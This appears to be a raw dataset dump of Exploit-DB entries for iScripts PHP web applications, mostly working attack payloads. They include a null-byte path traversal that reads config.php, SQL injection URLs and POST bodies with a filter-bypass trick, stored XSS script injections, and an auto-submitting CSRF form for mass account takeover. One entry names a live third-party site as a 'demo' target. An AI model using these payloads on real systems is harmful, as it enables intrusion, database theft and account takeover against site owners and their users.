deardaniel/secdata-raw huggingface dataset:
Exploit-DB #38890
Description: iScripts AutoHoster - 'tmpid' Local File Inclusion
Type: webapps
Platform: php
Date: 2013-12-15
Author: i-Hmx

Exploit:
source: https://www.securityfocus.com/bid/64377/info
     
iScripts AutoHoster is prone to multiple security vulnerabilities because it fails to sufficiently sanitize user-supplied data.
     
An attacker can exploit these vulnerabilities to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database, to execute arbitrary commands or script code in the context of the application, and obtain sensitive information that may aid in further attacks.
     
/websitebuilder/showtemplateimage.php
include_once "includes/session.php";
include_once "includes/function.php";
$templateid    = $_GET['tmpid'];
$type      = $_GET['type'];
if ($type == "home") {
  $imagename  = "homepageimage.jpg";
} else if($type == "sub") {
  $imagename  = "subpageimage.jpg";
} else {
  $imagename  = "thumpnail.jpg";
}
readfile("./".$_SESSION["session_template_dir"]."/".$templateid."/$imagename");
Hmmm , we can cancel the imagename value via the null byte %00
[+] Exploit : /websitebuilder/showtemplateimage.php?tmpid=../../includes/config.php%00&type=sub
Exploit-DB #41251
Description: iScripts AutoHoster 3.0 - 'siteid' SQL Injection
Type: webapps
Platform: php
Date: 2017-02-04
Author: Ihsan Sencan

Exploit:
# # # # # 
# Exploit Title: iScripts AutoHoster v3.0 Script - SQL Injection
# Google Dork: N/A
# Date: 04.02.2017
# Vendor Homepage: http://www.iscripts.com/
# Software Buy: http://www.iscripts.com/autohoster/
# Demo: http://www.demo.iscripts.com/autohoster/demo/
# Version: 3.0
# Tested on: Win7 x64, Kali Linux x64
# # # # # 
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[beygir]ihsan[nokta]net
# # # # #
# SQL Injection/Exploit :
# Login as regular user
# http://localhost/[PATH]/websitebuilder/getsitedetails.php?action=editsite&siteid=[SQL]
# # # # #
Exploit-DB #14164
Description: iScripts CyberMatch 1.0 - Blind SQL Injection
Type: webapps
Platform: php
Date: 2010-07-02
Author: Salvatore Fresta

Exploit:
iScripts CyberMatch 1.0 Blind SQL Injection Vulnerability

 Name              iScripts CyberMatch
 Vendor            http://www.iscripts.com
 Versions Affected 1.0

 Author            Salvatore Fresta aka Drosophila
 Website           http://www.salvatorefresta.net
 Contact           salvatorefresta [at] gmail [dot] com
 Date              2010-02-07

X. INDEX

 I.    ABOUT THE APPLICATION
 II.   DESCRIPTION
 III.  ANALYSIS
 IV.   SAMPLE CODE
 V.    FIX
 

I. ABOUT THE APPLICATION

iScripts CyberMatch is a  turnkey  online dating software
for  you   to  start  a  full-fledged  dating  site  like
match.com or eHarmony in minutes. iScripts CyberMatch can
be used  to  create  your  own Dating, Personals or match
making Site, Adult or Matrimonial Site.


II. DESCRIPTION

A parameter is not properly sanitised before being used in
a SQL query.


III. ANALYSIS

Summary:

 A) Blind SQL Injection
 

A) Blind SQL Injection

The id parameter in profile.php is not  properly sanitised
before being used in a SQL query. That  is  not  the query
which selects the information about the  user specified by
the id parameter but is the query that selects the image's
name. The affected query is a query of five fields.

When the injected condition is true, in  the  page will be
printed the  real  link  to the personal image of the user
specified  by  the  id  parameter,  otherwise  a  link  to
bignophoto.gif.

True condition:
http://site/path/images/profiles/id_random.jpg

False condition:
http://site/path/images/profiles/bignophoto.gif

Successful exploitation requires  that "magic_quotes_gpc"
is disabled and that the user specified by  id parameter
has posted an image.


IV. SAMPLE CODE

A) Blind SQL Injection

http://site/path/profile.php?id=10' UNION SELECT 1,2,3,4,5%23

http://site/path/profile.php?id=10' AND 1=1%23
http://site/path/profile.php?id=10' AND 1=0%23


V. FIX

No Fix.
Exploit-DB #14165
Description: iScripts EasyBiller - Cross-Site Scripting
Type: webapps
Platform: php
Date: 2010-07-02
Author: Sangteamtham

Exploit:
$-------------------------------------------------------------------------------------------------------------------
$  iScripts EasyBiller Cross Site Scripting Vulnerabilities
$  Author   : Sangteamtham                                                                    
$  Home     : Hcegroup.net                                               
$  Download : http://www.iscripts.com/easybiller/   
$  Date     : 02/07/2010
$  Email    : sangteamhtham@gmail.com                 					           
$******************************************************************************************
$Exploit:
$
$ Cross Site Scripting (XSS):
$
$ When attackers login with your user infomation, attackers update their profile by injecting javascript into fields like
$ "First Name","Title"
$ 
Code:
*********************************************************************************************
Host: www.server.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.6) Gecko/20100625 Firefox/3.6.6
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://server/editprofile.php
Cookie: PHPSESSID=110cc00db753eaf050d491dd62c7ebb6; fcspersistslider1=6; __utma=227[PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED]085802.1; __utmb=227100805; __utmc=227100805; __utmz=227[PII_REDACTED]085802.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none); flag_entryformfilled=easywebsurvey
Content-Type: application/x-www-form-urlencoded
Content-Length: 906
txtEmail=user%40server&txtName=%22%3E%22%3E%3Cscript%3Ealert%28%22Sangteamtham+was+here%22%29%3C%2Fscript%3E&txtlastName=%22%3E%22%3E%3Cscript%3Ealert%28%22Sangteamtham+was+here%22%29%3B%3C%2Fscript%3E&txtTitle=%22%3E%22%3E%3Cscript%3Ealert%28%22Sangteamtham+was+here%22%29%3B%3C%2Fscript%3E&txtOrganization=%22%3E%22%3E%3Cscript%3Ealert%28%22Sangteamtham+was+here%22%29%3B%3C%2Fscript%3E&txtAddress=%22%3E%22%3E%3Cscript%3Ealert%28%22Sangteamtham+was+here%22%29%3C%2Fscript%3E&txtCity=%22%3E%22%3E%3Cscript%3Ealert%28%22Sangteamtham+was+here%22%29%3C%2Fscript%3E&txtState=California%22%3E%22%3E%3Cscript%3Ealert%28%22Sangteamtham+was+here%22%29%3C%2Fscript%3E&ddlCountry=UnitedStates&txtZIP=684567&txtPhone=[PII_REDACTED]&txtFax=[PII_REDACTED]8478&cmbCssId=2&txtTechContactName=richard&txtTechContactEmail=richard%40gmail.com&txtBillContactName=samuel&txtBillContactEmail=samuel%40gmail.com&btnSubmit=Update

$******************************************************************************************
$ Greetz to: All Vietnamese hackers and Hackers out there researching for more security
$
$
$--------------------------------------------------------------------------------------------------------------------
Exploit-DB #13741
Description: iScripts easybiller 1.1 - SQL Injection
Type: webapps
Platform: php
Date: 2010-06-06
Author: Sid3^effects

Exploit:
# Title:iScripts easybiller v1.1 sqli vulnerability
# Author: Sid3^effects 
# Published: 2010-06-05  
# price:$147
# email:shell_c99@yahoo.com 
# vendor: iScripts
# url : http://www.iscripts.com/easybiller/
# google dork : Powered by iScripts EasyBiller

############################################################################

        ooooo  .oooooo.  oooooo   oooooo     oooo  

        `888' d8P'  `Y8b  `888.    `888.     .8'  

         888 888           `888.   .8888.   .8'  

         888 888            `888  .8'`888. .8'  

         888 888             `888.8'  `888.8'   

         888 `88b    ooo      `888'    `888'  

        o888o `Y8bood8P'       `8'      `8'     

                                           
--------------------------------------------------------------------------------------  

#####################Sid3^effects aKa HaRi##################################  

#Greetz to all Andhra Hackers and ICW Memebers[Indian Cyber Warriors]  

#Thanks:*L0rd ÇrusAdêr*,d4rk-blu?®,R45C4L,CR4C|< 008,M4n0j,MaYuR  

#ShouTZ:kedar,dec0d3r,41.w4r10r

#spl shoutz:LiquidWorm,gunslinger_ :D       

#Catch us at www.andhrahackers.com or www.teamicw.in  

############################################################################  
Description : 
 
iScripts EasyBiller billing software is an easy way to automate and manage your businesses. iScripts EasyBiller, combined with an integrated helpdesk delivers a powerful, easy-to-use, integrated business solution.

############################################################################  

Sql injection is found in the easybiller script V1.1

Xploit :\m/  sqli \m/


   demo:http://[url]/easybiller/demo/viewhistorydetail.php?planid=[Sqli]

          
############################################################################  

#Sid3^effects
Exploit-DB #41252
Description: iScripts EasyCreate 3.2 - 'siteid' SQL Injection
Type: webapps
Platform: php
Date: 2017-02-04
Author: Ihsan Sencan

Exploit:
# # # # # 
# Exploit Title: iScripts EasyCreate v3.2 Script - SQL Injection
# Google Dork: N/A
# Date: 04.02.2017
# Vendor Homepage: http://www.iscripts.com/
# Software Buy: http://www.iscripts.com/easycreate/
# Demo: http://www.demo.iscripts.com/easycreate/demo//
# Version: 3.2
# Tested on: Win7 x64, Kali Linux x64
# # # # # 
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[beygir]ihsan[nokta]net
# # # # #
# SQL Injection/Exploit :
# Login as regular user
# http://localhost/[PATH]/getsitedetails.php?action=editsite&siteid=[SQL]
# # # # #
Exploit-DB #44436
Description: iScripts Easycreate 3.2.1 - Stored Cross-Site Scripting
Type: webapps
Platform: php
Date: 2018-04-10
Author: ManhNho

Exploit:
# Exploit Title:  iScripts Easycreate 3.2.1 - Stored Cross-Site Scripting
# Date: 02/04/2018
# Exploit Author: ManhNho
# Vendor Homepage: https://www.iscripts.com
# Demo Page: https://www.demo.iscripts.com/easycreate/demo/
# Version: 3.2.1
# Tested on: Windows 10
# Category: Webapps
# CVE: CVE-2018-9236
# CVE: CVE-2018-9237

1. Description
====================
iScripts EasyCreate 3.2.1 has Stored Cross-Site Scripting in the "Site Description" and "Site Title" fields.

2. PoC
====================
1. from "user section", access to "dashboard" and select "Created from saved items" with edit option
2. In "edit site" action,  Inject "><script>alert('2')</script> to "Site Description" field
3. Save and change!! refresh and we have alert pop up!

3. PoC
====================
1. from "user section", access to "dashboard" and select "Created from saved items" with edit option
2. In "edit site" action, Inject </title>"><script>alert('1')</script> to "Site title" field
3. Save and change! refresh and we have alert pop up!

4. References
====================
http://cve.mitre.org/cgi-bin/cvename.cgi?name=2018-9237
http://cve.mitre.org/cgi-bin/cvename.cgi?name=2018-9236
Exploit-DB #6467
Description: iScripts EasyIndex - 'produid' SQL Injection
Type: webapps
Platform: php
Date: 2008-09-16
Author: SirGod

Exploit:
#########################################################################################################################
[+] iScripts EasyIndex (produid) Remote SQL Injection
[+] Discovered By SirGod
[+] wWw.MorTal-TeaM.OrG
[+] Greetz : E.M.I.N.E.M,Ras,Puscas_marin,ToxicBlood,HrN,kemrayz,007m,Raven,Nytr0gen,str0ke
########################################################################################################################
 [+] Remote SQL Injection


   PoC :

      http://[target]/[path]/detaillist.php?produid=[SQL]


   Example :

      http://127.0.0.1/iscripts/detaillist.php?produid=-1 union all
select 1,2,3,4,version(),database(),user(),8,9,10,11,12,13,14--


   Live Demo :

      http://www.dawsonvalley.net/business/detaillist.php?produid=-1
union all select
1,2,3,4,version(),database(),user(),8,9,10,11,12,13,14--


   - Note : the number of colums can vary.


##########################################################################################################################

# milw0rm.com [2008-09-16]
Exploit-DB #14162
Description: iScripts EasySnaps 2.0 - Multiple SQL Injections
Type: webapps
Platform: php
Date: 2010-07-01
Author: Salvatore Fresta

Exploit:
iScripts EasySnaps 2.0 Multiple SQL Injection Vulnerabilities

 Name              iScripts EasySnaps
 Vendor            http://www.iscripts.com
 Versions Affected 2.0

 Author            Salvatore Fresta aka Drosophila
 Website           http://www.salvatorefresta.net
 Contact           salvatorefresta [at] gmail [dot] com
 Date              2010-01-07

X. INDEX

 I.    ABOUT THE APPLICATION
 II.   DESCRIPTION
 III.  ANALYSIS
 IV.   SAMPLE CODE
 V.    FIX
 

I. ABOUT THE APPLICATION

EasySnaps is a commercial powerful image hosting site that
will help  you  in hosting your images besides providing a
large number of utilities.


II. DESCRIPTION

Some  fields  are not properly sanitised before being used
in SQL queries.


III. ANALYSIS

Summary:

 A) Blind SQL Injection
 B) SQL Injection
 

A) Blind SQL Injection

The comment parameter in add_comments.php is not  properly
sanitised before being used in a INSERT type SQL query. 


B) SQL Injection

The values parameter in tags_details.php (search form) is
not  properly  sanitised before used in a SQL query. This
can be  exploited  to manipulate SQL queries by injecting
arbitrary SQL code.
Successful exploitation requires  that \\\"magic_quotes_gpc\\\"
is disabled.

There  is  a  SQL  injection  that maybe may be exploited
bypassing  the  internal  filters in the begin parameter.
The affected file is greetings.php.

I tryed to test the upload forms for found arbitrary file
upload  flaws  but I could not do anything because of the
following error: \\\"Your Image Count is full!\\\".


IV. SAMPLE CODE

B) SQL Injection

POST /gallery/demo/tags_details.php HTTP/1.1
Host: site
Content-Type: application/x-www-form-urlencoded
Cookie: your_php_sessid
Content-Length: 84 

values=%25\\\' UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20#&jumb=Go

You can inject the previous code using the search form in
tags_details.php page.


V. FIX

No Fix.
Exploit-DB #13740
Description: iScripts eSwap 2.0 - SQL Injection / Cross-Site Scripting
Type: webapps
Platform: php
Date: 2010-06-06
Author: Sid3^effects

Exploit:
# Title:iScripts eSwap v2.0 sqli and xss vulnerability
# Author: Sid3^effects 
# Published: 2010-06-05  
# price:$99.95
# email:shell_c99@yahoo.com 
# vendor: iScripts
# url : http://www.iscripts.com/eswap/
# google dork : Powered by iScripts eSwap.   

############################################################################

        ooooo  .oooooo.  oooooo   oooooo     oooo  

        `888' d8P'  `Y8b  `888.    `888.     .8'  

         888 888           `888.   .8888.   .8'  

         888 888            `888  .8'`888. .8'  

         888 888             `888.8'  `888.8'   

         888 `88b    ooo      `888'    `888'  

        o888o `Y8bood8P'       `8'      `8'     

                                           
--------------------------------------------------------------------------------------  

#####################Sid3^effects aKa HaRi##################################  

#Greetz to all Andhra Hackers and ICW Memebers[Indian Cyber Warriors]  

#Thanks:*L0rd ÇrusAdêr*,d4rk-blu?®,R45C4L idi0th4ck3r,CR4C|< 008,M4n0j,MaYuR  

#ShouTZ:kedar,dec0d3r,41.w4r10r

#spl shoutz:LiquidWorm,gunslinger_ :D       

#Catch us at www.andhrahackers.com or www.teamicw.in  

############################################################################  
Description : 
 
iScripts eSwap enables you to create an virtual swapmeet site in minutes. End users can list items for swap, sell or buy. Let end users to swap unwanted items for things they want! Users can add items for sale or swap. They can also add their wish list for trading items. eSwap lets you charge users a fee for listing, featured listing and optional escrow service. Credit card payments through Authorize.net , Paypal, 2checkout and Google checkout are supported. Also offline payment methods are supported. The powerful admin section allows you to have multiple categories, sub categories and control every aspects of the business. This exchange platform is the ultimate green business by helping your users to recycle
############################################################################  

Sql injection and XSS is found in the eswap script V2.0

Xploit :\m/  sqli \m/


   demo : http://[site]/eswap/demo/addsale.php?type=[Sqli]

Xploit: \m/ Xss \m/
  
      XSS is found in search field :D
                
   Attack pattern : '"--><script>alert(0x000872)</script>

   demo :http://[site]/eswap/demo/search.php
          
############################################################################  

#Sid3^effects
Exploit-DB #14197
Description: iScripts MultiCart 2.2 - Multiple SQL Injections
Type: webapps
Platform: php
Date: 2010-07-03
Author: Salvatore Fresta

Exploit:
iScripts MultiCart 2.2 Multiple SQL Injection Vulnerability

 Name              iScripts MultiCart
 Vendor            http://www.iscripts.com
 Versions Affected 2.2

 Author            Salvatore Fresta aka Drosophila
 Website           http://www.salvatorefresta.net
 Contact           salvatorefresta [at] gmail [dot] com
 Date              2010-03-07

X. INDEX

 I.    ABOUT THE APPLICATION
 II.   DESCRIPTION
 III.  ANALYSIS
 IV.   SAMPLE CODE
 V.    FIX
 

I. ABOUT THE APPLICATION

iScripts  MultiCart  2.2 is a unique online shopping cart
solution  that  enables  you  to  have one storefront and
multiple  vendors  for physical or digital (downloadable) 
products.


II. DESCRIPTION

The  solution adopted to avoid SQL Injection flaws is not
appropriate.   This  allows  the  existence  of  many SQL 
Injection flaws.


III. ANALYSIS

Summary:

 A) Multiple SQL Injection
 

A) Multiple SQL Injection

The  solution adopted  consists in transforming the query
string in uppercase and  checking  the  existence  of the
words UNION and SELECT.  But using the C-like comments in
the query string, it is possible to bypass the filter.
Example:

SELECT becomes SE/**/LE/**/CT
UNION  becomes UN/**/ION

The new strings do not match with  the words in the black
list but they are good for MySQL.
The following is the affected code (session.php):

$mystring = strtoupper($_SERVER['QUERY_STRING']);
$server_injec1=strpos($mystring, 'SELECT');
$server_injec2=strpos($mystring, 'UNION');

if (($server_injec1 === false) && ($server_injec2 === false) || ($server_injec1 === '0') && ($server_injec2 === '0')) 
{
	;
}//end if
else
{
	header('location:index.php');
	exit();
}


IV. SAMPLE CODE

A) Multiple SQL Injection

http://site/path/refund_request.php?orderid=SQL


V. FIX

No Fix.
Exploit-DB #30357
Description: iScripts MultiCart 2.4 - Persistent Cross-Site Scripting / Cross-Site Request Forgery / Cross-Site Scripting / Cross-Site Request Forgery / Mass Accounts Takeover
Type: webapps
Platform: php
Date: 2013-12-16
Author: Saadi Siddiqui

Exploit:
# Exploit Title  : iScripts MultiCart <=  2.4 Persistent XSS / CSRF / XSS+CSRF Account takeover
# Date           : 2013/12/14
# Exploit Author : Saadat Ullah ， saadi_linux[at]rocketmail[dot]com
# Software Link  : http://www.iscripts.com
# Author HomePage: http://security-geeks.blogspot.com
# Tested on: Server : Apache/2.2.15 PHP/5.3.3

# Cross-site Scripting

iScript MultiCart is an paid shoping cart system , suffers from XSS and Cross-site request forgery vulnerability through which 
attacker can manipulate user data via sending him malicious craft url.

XSS in product Review , so alot exploitation can be done as inject code will be execute whenever a product is visited by clients.
In Product_review.php line 52--- Persistent XSS

mysql_query("insert into ".$tableprefix."Review (nUserId,nProdId,vDes,vActive) values ('".$_SESSION["sess_userid"]."',

						'".$_POST["pid"]."','".$_POST["txtReview"]."','".$aActive."')") or die(mysql_error());
						
$_POST['txtReview'] is inserted without sanitizing.

Exploitation

Goto http://site.tld/product_review.php?pid=[any product id]
Paste your xss vector and submit.

XSS vector will be executed here
http://site.tld/productdetails.php?productid=1 -->same product id for which you submited the review.

# Cross-site request forgery
<html>
	 <body onload="javascript:document.forms[0].submit()">
	 <form  name="ex"action="http://localhost/profile.php" method=post >
	 
			 
				<input type=hidden size=30 maxlength=30 name=userid value="5">
			 
				<input type=hidden size=30 maxlength=30 name=txtFirstName value="admin">
			 
				<input type=hidden size=30 maxlength=100 name=txtLastName value="admin">
			 
		 
				<input type=hidden size=30 maxlength=30 name=txtEmail value="admin@gmail.com">
	 
				<input type=hidden size=30 maxlength=30 name=txtAddress1 value="asdf">
				<input type=hidden size=30 maxlength=30 name=txtCity value="saf">
				<input type=hidden size=30 maxlength=30 name=bill_country value="DZ">
				<input type=hidden size=30 maxlength=30 name=bill_state value="adsf">
		
			    <input type=hidden size=30 maxlength=250 name=btnSaveChanges value="Save Changes">
		        <input type=submit   name=btnSaveChanges class=button value='Save'> 
	</form>
</html>

#     XSS+CSRF Mass Email Change /Mass Account Takeover

XSS+CSRF can be used to change mass user email ,  after changing the email we can change the password too via
forget password option and providing email.
Just inject a CSRF iframe as XSS vector on product_review.php
E.g
<iframe src="http://www.site.tld/inject.html"></iframe>
Inject.html ---> CRSF exploit

So now whenever user browse different products their useremail will be changed automatically.

#Independent Pakistani Security Researcher
Exploit-DB #46640
Description: iScripts ReserveLogic - SQL Injection
Type: webapps
Platform: php
Date: 2019-04-03
Author: Ahmet Ümit BAYRAM

Exploit:
# Exploit Title: iScripts ReserveLogic - SQL Injection
# Date: 29.03.2019
# Exploit Author: Ahmet Ümit BAYRAM
# Vendor Homepage: https://www.iscripts.com/reservelogic/
# Demo Site: https://www.demo.iscripts.com/reservelogic/demo/
# Version: Lastest
# Tested on: Kali Linux
# CVE: N/A

----- PoC: SQLi -----

Request: http://localhost/[PATH]/search
Vulnerable Parameter: jqSearchDestination (POST)
Payload: jqSearchDestination=(SELECT (CASE WHEN (8124=8124) THEN 12345 ELSE
(SELECT 3029 UNION SELECT 1241) END))